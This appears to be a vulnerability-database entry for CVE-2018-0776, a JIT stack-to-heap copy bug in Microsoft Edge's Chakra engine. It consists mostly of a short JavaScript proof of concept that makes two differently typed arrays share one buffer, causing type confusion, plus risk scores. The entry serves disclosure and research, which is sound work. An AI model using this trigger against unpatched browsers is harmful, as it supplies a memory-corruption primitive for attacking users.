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Microsoft Edge: Chakra: JIT: stack-to-heap copy bug(CVE-2018-0776)

🗓️ 22 Jan 2018 00:00:00Reported by RootType 
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Microsoft Edge Chakra JIT stack-to-heap copy bug(CVE-2018-0776) describes a vulnerability where stack-allocated variables are copied to the heap, enabling unintended access. The exploit code demonstrates the issue by sharing the same buffer for two arrays with different types

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                                                function inlinee() {
    return inlinee.arguments[0];
}

function opt(convert_to_var_array) {
    /*
    To make the in-place type conversion happen, it requires to segment.
    */

    let stack_arr = [];  // JavascriptNativeFloatArray
    stack_arr[10000] = 1.1;
    stack_arr[20000] = 2.2;

    let heap_arr = inlinee(stack_arr);
    convert_to_var_array(heap_arr);

    stack_arr[10000] = 2.3023e-320;

    return heap_arr[10000];
}

function main() {
    for (let i = 0; i < 10000; i++) {
        opt(new Function(''));  // Prevents to be inlined
    }

    print(opt(heap_arr => {
        heap_arr[10000] = {};  // ConvertToVarArray
    }));
}

main();
                              

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22 Jan 2018 00:00Current
7.6High risk
Vulners AI Score7.6
EPSS0.78434
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